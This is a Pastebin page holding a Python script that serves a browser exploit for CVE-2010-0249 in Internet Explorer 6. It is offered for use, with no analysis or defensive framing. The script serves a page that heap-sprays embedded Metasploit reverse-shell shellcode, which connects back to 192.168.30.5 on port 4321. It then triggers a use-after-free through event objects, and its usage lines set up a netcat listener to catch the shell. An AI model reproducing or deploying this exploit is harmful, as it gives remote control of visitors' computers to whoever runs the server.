API tools faq
paste
Advertisement
Guest User

darkc0dews

a guest
Feb 8th, 2010
415
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.08 KB | None | 0 0
raw download clone embed print report
  1. #   Author : Ahmed Obied (ahmed.obied@gmail.com)
  2. #   Modify by: syniack (syniack@hotmail.com)
  3. #   This program acts as a web server that generates an exploit to
  4. #   target a vulnerability (CVE-2010-0249) in Internet Explorer.
  5. #   The exploit was tested using Internet Explorer 6 on Windows XP SP3.
  6. #   The exploit's payload spawns the reverse shell on port 4321.
  7. #    
  8. #   Usage  : nc -lvp 4321
  9. #   Usage  : python ie_aurora.py [port number]
  10. #  
  11.  
  12. import sys
  13. import socket
  14.  
  15. from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
  16.  
  17. class RequestHandler(BaseHTTPRequestHandler):
  18.  
  19.     def convert_to_utf16(self, payload):
  20.         enc_payload = ''
  21.         for i in range(0, len(payload), 2):
  22.             num = 0
  23.             for j in range(0, 2):
  24.                 num += (ord(payload[i + j]) & 0xff) << (j * 8)
  25.             enc_payload += '%%u%04x' % num
  26.         return enc_payload
  27.  
  28.     def get_payload(self):
  29.         # win32_reverse -  EXITFUNC=proess LHOST=192.168.30.5 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
  30.         payload  = '\x29\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x56'
  31.     payload += '\x9f\xdc\xde\x83\xeb\xfc\xe2\xf4\xaa\xf5\x37\x93\xbe\x66\x23\x21'
  32.     payload += '\xa9\xff\x57\xb2\x72\xbb\x57\x9b\x6a\x14\xa0\xdb\x2e\x9e\x33\x55'
  33.     payload += '\x19\x87\x57\x81\x76\x9e\x37\x97\xdd\xab\x57\xdf\xb8\xae\x1c\x47'
  34.     payload += '\xfa\x1b\x1c\xaa\x51\x5e\x16\xd3\x57\x5d\x37\x2a\x6d\xcb\xf8\xf6'
  35.     payload += '\x23\x7a\x57\x81\x72\x9e\x37\xb8\xdd\x93\x97\x55\x09\x83\xdd\x35'
  36.     payload += '\x55\xb3\x57\x57\x3a\xbb\xc0\xbf\x95\xae\x07\xba\xdd\xdc\xec\x55'
  37.     payload += '\x16\x93\x57\xae\x4a\x32\x57\x9e\x5e\xc1\xb4\x50\x18\x91\x30\x8e'
  38.     payload += '\xa9\x49\xba\x8d\x30\xf7\xef\xec\x3e\xe8\xaf\xec\x09\xcb\x23\x0e'
  39.     payload += '\x3e\x54\x31\x22\x6d\xcf\x23\x08\x09\x16\x39\xb8\xd7\x72\xd4\xdc'
  40.     payload += '\x03\xf5\xde\x21\x86\xf7\x05\xd7\xa3\x32\x8b\x21\x80\xcc\x8f\x8d'
  41.     payload += '\x05\xdc\x8f\x9d\x05\x60\x0c\xb6\x96\x37\xc2\xdb\x30\xf7\xcc\x3f'
  42.     payload += '\x30\xcc\x55\x3f\xc3\xf7\x30\x27\xfc\xff\x8b\x21\x80\xf5\xcc\x8f'
  43.     payload += '\x03\x60\x0c\xb8\x3c\xfb\xba\xb6\x35\xf2\xb6\x8e\x0f\xb6\x10\x57'
  44.     payload += '\xb1\xf5\x98\x57\xb4\xae\x1c\x2d\xfc\x0a\x55\x23\xa8\xdd\xf1\x20'
  45.     payload += '\x14\xb3\x51\xa4\x6e\x34\x77\x75\x3e\xed\x22\x6d\x40\x60\xa9\xf6'
  46.     payload += '\xa9\x49\x87\x89\x04\xce\x8d\x8f\x3c\x9e\x8d\x8f\x03\xce\x23\x0e'
  47.     payload += '\x3e\x32\x05\xdb\x98\xcc\x23\x08\x3c\x60\x23\xe9\xa9\x4f\xb4\x39'
  48.     payload += '\x2f\x59\xa5\x21\x23\x9b\x23\x08\xa9\xe8\x20\x21\x86\xf7\x2c\x54'
  49.     payload += '\x52\xc0\x8f\x21\x80\x60\x0c\xde'
  50.         return self.convert_to_utf16(payload)
  51.  
  52.     def get_exploit(self):
  53.         exploit = '''
  54.        <html>
  55.        <head>
  56.            <script>
  57.  
  58.            var obj, event_obj;
  59.  
  60.            function spray_heap()
  61.            {
  62.                var chunk_size, payload, nopsled;
  63.  
  64.                chunk_size = 0x80000;
  65.                payload = unescape("<PAYLOAD>");
  66.                nopsled = unescape("<NOP>");
  67.                while (nopsled.length < chunk_size)
  68.                    nopsled += nopsled;
  69.                nopsled_len = chunk_size - (payload.length + 20);        
  70.                nopsled = nopsled.substring(0, nopsled_len);
  71.                heap_chunks = new Array();
  72.                for (var i = 0 ; i < 200 ; i++)
  73.                    heap_chunks[i] = nopsled + payload;
  74.            }
  75.  
  76.            function initialize()
  77.            {
  78.                obj = new Array();
  79.                event_obj = null;
  80.                for (var i = 0; i < 200 ; i++ )
  81.                    obj[i] = document.createElement("COMMENT");
  82.            }
  83.  
  84.            function ev1(evt)
  85.            {
  86.                event_obj = document.createEventObject(evt);
  87.                document.getElementById("sp1").innerHTML = "";
  88.                window.setInterval(ev2, 1);
  89.            }
  90.  
  91.            function ev2()
  92.            {
  93.                var data, tmp;
  94.  
  95.                data = "";
  96.                tmp = unescape("%u0a0a%u0a0a");
  97.                for (var i = 0 ; i < 4 ; i++)
  98.                    data += tmp;
  99.                for (i = 0 ; i < obj.length ; i++ ) {
  100.                    obj[i].data = data;
  101.                }
  102.                event_obj.srcElement;
  103.            }
  104.  
  105.            function check()
  106.            {
  107.                if (navigator.userAgent.indexOf("MSIE") == -1)
  108.                    return false;
  109.                return true;  
  110.            }
  111.  
  112.            if (check()) {
  113.                initialize();
  114.                spray_heap();              
  115.            }
  116.            else
  117.                window.location = 'about:blank'
  118.  
  119.            </script>
  120.        </head>
  121.        <body>
  122.            <span id="sp1">
  123.            <img src="aurora.gif" onload="ev1(event)">
  124.            </span>        
  125.        </body>
  126.        </html>
  127.        '''
  128.         exploit = exploit.replace('<PAYLOAD>', self.get_payload())
  129.         exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
  130.         return exploit
  131.  
  132.     def get_image(self):
  133.         content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
  134.         content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
  135.         content += '\x01\x00\x3b'
  136.         return content
  137.  
  138.     def log_request(self, *args, **kwargs):
  139.         pass
  140.  
  141.     def do_GET(self):
  142.         try:
  143.             if self.path == '/':
  144.                 print
  145.                 print '[-] Incoming connection from %s' % self.client_address[0]
  146.                 self.send_response(200)
  147.                 self.send_header('Content-Type', 'text/html')
  148.                 self.end_headers()
  149.                 print '[-] Sending exploit to %s ...' % self.client_address[0]
  150.                 self.wfile.write(self.get_exploit())
  151.                 print '[-] Exploit sent to %s' % self.client_address[0]
  152.             elif self.path == '/aurora.gif':      
  153.                 self.send_response(200)
  154.                 self.send_header('Content-Type', 'image/gif')
  155.                 self.end_headers()
  156.                 self.wfile.write(self.get_image())
  157.         except:
  158.             print '[*] Error : an error has occured while serving the HTTP request'
  159.             print '[-] Exiting ...'
  160.             sys.exit(-1)
  161.  
  162.  
  163. def main():
  164.     if len(sys.argv) != 2:
  165.         print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
  166.         sys.exit(0)
  167.     try:
  168.         port = int(sys.argv[1])
  169.         if port < 1024 or port > 65535:
  170.             raise ValueError
  171.         try:
  172.             serv = HTTPServer(('', port), RequestHandler)
  173.             ip = socket.gethostbyname(socket.gethostname())
  174.             print '[-] Web server is running at http://%s:%d/' % (ip, port)
  175.             try:
  176.                 serv.serve_forever()
  177.             except:
  178.                 print '[-] Exiting ...'
  179.         except socket.error:
  180.             print '[*] Error : a socket error has occurred'
  181.         sys.exit(-1)    
  182.     except ValueError:
  183.         print '[*] Error : an invalid port number was given'
  184.         sys.exit(-1)
  185.  
  186. if __name__ == '__main__':
  187.     main()
  188.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!